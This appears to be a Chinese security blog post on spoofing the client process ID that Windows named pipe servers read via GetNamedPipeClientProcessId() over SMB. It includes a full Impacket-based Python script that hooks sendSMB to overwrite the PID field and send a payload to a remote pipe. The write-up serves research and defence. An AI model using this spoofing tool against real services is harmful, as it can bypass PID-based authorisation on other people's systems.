Loading... # 1、前言 命名管道 NamedPipe 是 Windows 平台上一种 IPC 技术,有一些关键要点如下: - C/S 架构,支持双向通信 - 支持远程连接,通过 IPC$ 共享,底层走的是 SMB 协议 传统认为针对命名管道的攻击如下: - 恶意低权限客户端连接高权限服务端,达成纵向提权 - 高权限客户端连接低权限服务端,服务端通过令牌模拟达成纵向提权 然而 [Google Project Zero - Windows Exploitation Tricks: Spoofing Named Pipe Client PID](https://googleprojectzero.blogspot.com/2019/09/windows-exploitation-tricks-spoofing.html) 研究揭露,命名管道相关的 GetNamedPipeClientProcessId() 函数引入了新的风险。 # 2、GetNamedPipeClientProcessId() 函数 ## 2.1、用法 [GetNamedPipeClientProcessId](https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-getnamedpipeclientprocessid) 函数自 Windows Vista 系统引入,其作用是在命名管道服务端获取当前连接的客户端的进程 PID。 微软官网有一个[多线程命名管道服务器的示例](https://learn.microsoft.com/zh-cn/windows/win32/ipc/multithreaded-pipe-server),服务端循环监听客户端连接,每一次连接成功则通过 GetNamedPipeClientProcessId() 获取并打印客户端 PID: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/2879279265.png) 执行效果: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/53837473.png) ## 2.2、PID 从哪来? 既然 GetNamedPipeClientProcessId 可以获取客户端 PID,那必然系统在某处记录了这个 PID 值。根据上述文档,客户端通过 CreateFile 打开命名管道时,服务端最终在内核 npfs!NpCreateClientEnd 函数中进行记录: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3891970169.png) - 当客户端打开的是本地命名管道时,EaBuffer = NULL 时,PID 直接设置为客户端进程 PID; - 当客户端打开的是远程命名管道时,EaBuffer != NULL 且 PreviousMode != USER_MODE,此时 PID 从 EaBuffer 中获取 打开本地命名管道好理解,但是打开远程命名管道时,EaBuffer 中的 PID 从哪里来呢?其实打开远程管道时,在本地主机维护与远程主机连接工作的是 svchost 进程,如下示意: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3662698275.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/10/4194203684.png) 所以说远程连接时 PID 就是 svchost 的 PID 吗?并不是,实际上远程命名管道底层使用的是 SMB 协议,EaBuffer 中的 PID 来源于 SMB 报文中的如下字段(意味着是由远程机器指定的),在[微软的开发文档](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fb188936-5050-48d3-b350-dc43059638a4)中,将该字段标注为 Reserved: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3804338657.png) 在进一步的说明中,微软声明 Windows 系统提供的客户端实现将该字段固定设置为 0xFEFF,而且服务端不会使用该字段: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3336111276.png) 该字段实际上就是 PID 字段,而在 [Wireshark 的研究文档](https://wiki.wireshark.org/SMB2#Process_ID)或 Wireshark 软件中都直接将该字段标明为 Process ID: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/734128243.png) 而且最重要的,虽然说着没有用,但实际上 Windows 仍然使用了该字段。 示例,Win_Client(192.168.1.9)远程连接 Win_Server(192.168.1.8)的 `IPC$`: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/4052031836.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/10/1537038562.png) ## 2.3、可以被利用吗?How? 因为在远程连接时客户端 PID 是通过 SMB 报文字段指定的,所以远程客户端可以通过自定义的 SMB 协议实现来指定 PID 值,比如说 Impacket 库。 Impacket 是一套提供了各种主流网络协议的开源 python 实现集,以及基于这些实现的简单工具示例。其中和 SMB 协议相关的库及代码示例介绍如下: ``` .\Impacket\example\smbclient.py 基于 smbconnection.py 的一个 smb 客户端命令行工具 .\Impacket\Impacket\smbconnection.py smb1/2/3 的客户端封装类,可以通过 getSMBServer() 获取底层接口 .\Impacket\Impacket\smb.py smb1 的底层实现 .\Impacket\Impacket\smb3.py smb2 及 smb3 的底层实现 ``` smbclient.py 的使用示例如下,查看 Windows 主机 192.168.222.162 的 SmbShare 共享下的文件: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3091810320.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/10/2790698825.png) wireshark 抓包,可见 Impacket 将 Process Id 设置为 0: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/1023082525.png) 查看代码,Impacket 也将该字段标注为 Reserved,而且在发包过程中并不设值,所以最终值表现为默认的 0: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/2813693209.png) 由此,我们主动设置 Reserved 字段,即可自定义客户端 PID 了,一个比较合适的设置该字段的地方是smb.py 的 sendSMB() 或 smb3.py 的 sendSMB() 函数,这里是报文发送接口,许多报文头部字段都在这里赋值,如下为 smb3 的 sendSMB(): ![图片.png](http://47.117.131.13/usr/uploads/2022/10/2125448182.png) 但 smbclient.py 样例工具只提供了针对共享的连接能力,Impacket 中并没有一个工具样例直接提供了开箱即用的命名管道连接能力,但还好 smb.py 或 smb3.py 提供了相关接口,所以自己写一个也很简单。 如下 smbclient_namedpipe.py 脚本基于 smbclient.py 修改而来,和 smbclient.py 置于同一目录,并修改脚本中的 g_namedpipe、g_namepipe_send_data、g_pid 字段即可: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-058db9a11a5f1a2f0646771a40450cc889" aria-expanded="true"><div class="accordion-toggle"><span>smbclient_namedpipe.py</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-058db9a11a5f1a2f0646771a40450cc889" class="collapse collapse-content"><p></p> ```python #!/usr/bin/env python # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: Mini shell using some of the SMB funcionality of the library # # Author: # Alberto Solino (@agsolino) # # # Reference for: # SMB DCE/RPC # from __future__ import division from __future__ import print_function import sys import logging import argparse import time import types from impacket.examples import logger from impacket.examples.smbclient import MiniImpacketShell from impacket import version from impacket.smbconnection import SMBConnection from impacket.smb3 import SMB3 from impacket.smb3 import SMB2_CREATE from impacket.smb import SMB g_namedpipe = "\\mynamedpipe" g_namedpipe_send_data = "./namedpipe_send_data" g_original_sendSMB_func= None g_pid = 8 def openPipe(smbClient, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: smbClient.waitNamedPipe(tid, pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = smbClient.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) return fid def isPipeAvailable(smbClient, tid): try: fid = openPipe(smbClient, tid, g_namedpipe, 0x12019f) smbClient.closeFile(tid, fid) return True except: return False def sendPayload(smbClient, tid): result = True fid = openPipe(smbClient, tid, g_namedpipe, 0x12019f) payload_file = open(g_namedpipe_send_data, mode='rb') payload = payload_file.read() response = None print( payload) try: smbClient.writeNamedPipe(tid, fid, payload, True) response = smbClient.readNamedPipe(tid, fid) except Exception as e: response = e result = False finally: smbClient.closeFile(tid, fid) return result def connect_namedpipe_and_send_payload(smbClient): tid = smbClient.connectTree('IPC$') if isPipeAvailable(smbClient, tid): sendPayload(smbClient, tid) else: print("isPipeAvailable failed.") def getData(self, packet): packet['Pid'] = g_pid print("On SMB1_COM_NT_CREATE_ANDX, change pid to ", g_pid) return packet.orignalGetData() def my_sendSMB(self, packet): # Some ugly hacks here, essentially we are hooking # some original SMB1/2 function from impacket so we # can intercept the calls and patch the PID at the correct point if packet['Command'] is SMB2_CREATE: #SMB2/3 # If the command type is create for opening files/named pipes # then replace the Reserved (PID) field with our spoofed PID packet["Reserved"] = g_pid print("On SMB2/3_CREATE, change pid to ", g_pid) elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX: #SMB1 # Additional level of hooks here since SMB1 packets are # handled differently, and in fact the impacket does use # the real process PID of the client, so we need to override # that behavior packet.orignalGetData = packet.getData packet.getData = types.MethodType(self.getData, packet) # Send our packet using original sendSMB function g_original_sendSMB_func(packet) def hook_sendSMB(smbClient): global g_original_sendSMB_func # smbClient._SMBConnection = smbClient.getSMBServer(), means class SMB or SMB3 g_original_sendSMB_func = smbClient._SMBConnection.sendSMB smbClient._SMBConnection.sendSMB = types.MethodType(my_sendSMB, smbClient._SMBConnection) def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) else: smbClient.login(username, password, domain, lmhash, nthash) hook_sendSMB(smbClient) connect_namedpipe_and_send_payload(smbClient) ''' shell = MiniImpacketShell(smbClient) if options.file is not None: logging.info("Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) else: print(line, end=' ') else: shell.cmdloop() ''' except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if __name__ == "__main__": main() ``` <p></p></div></div></div> 关键在于 hook sendSMB() 并修改报文头部 pid 字段,这里要注意的是: - SMB1 和 SMB2/3 有不同的处理逻辑 - 理论上只需要更改 SMB2_CREATE 或者 SMB.SMB_COM_NT_CREATE_ANDX 报文的 pid 就行了,这个动作对应到 Windows 平台就是 CreatFile(pipeName) 操作。但实际上更改所有报文的 pid 也没事 ![图片.png](http://47.117.131.13/usr/uploads/2022/10/626640979.png) 示例,从 Linux 发起攻击,修改 pid=8: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3124356120.png) 在 Linux 上抓包确认: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/3487388711.png) Windows 服务端收到消息,用 GetNamedPipeClientProcessId() 获取得到 pid 确实等于 8: ![图片.png](http://47.117.131.13/usr/uploads/2022/10/2386018725.png) 最后修改:2022 年 10 月 29 日 02 : 12 AM © 允许规范转载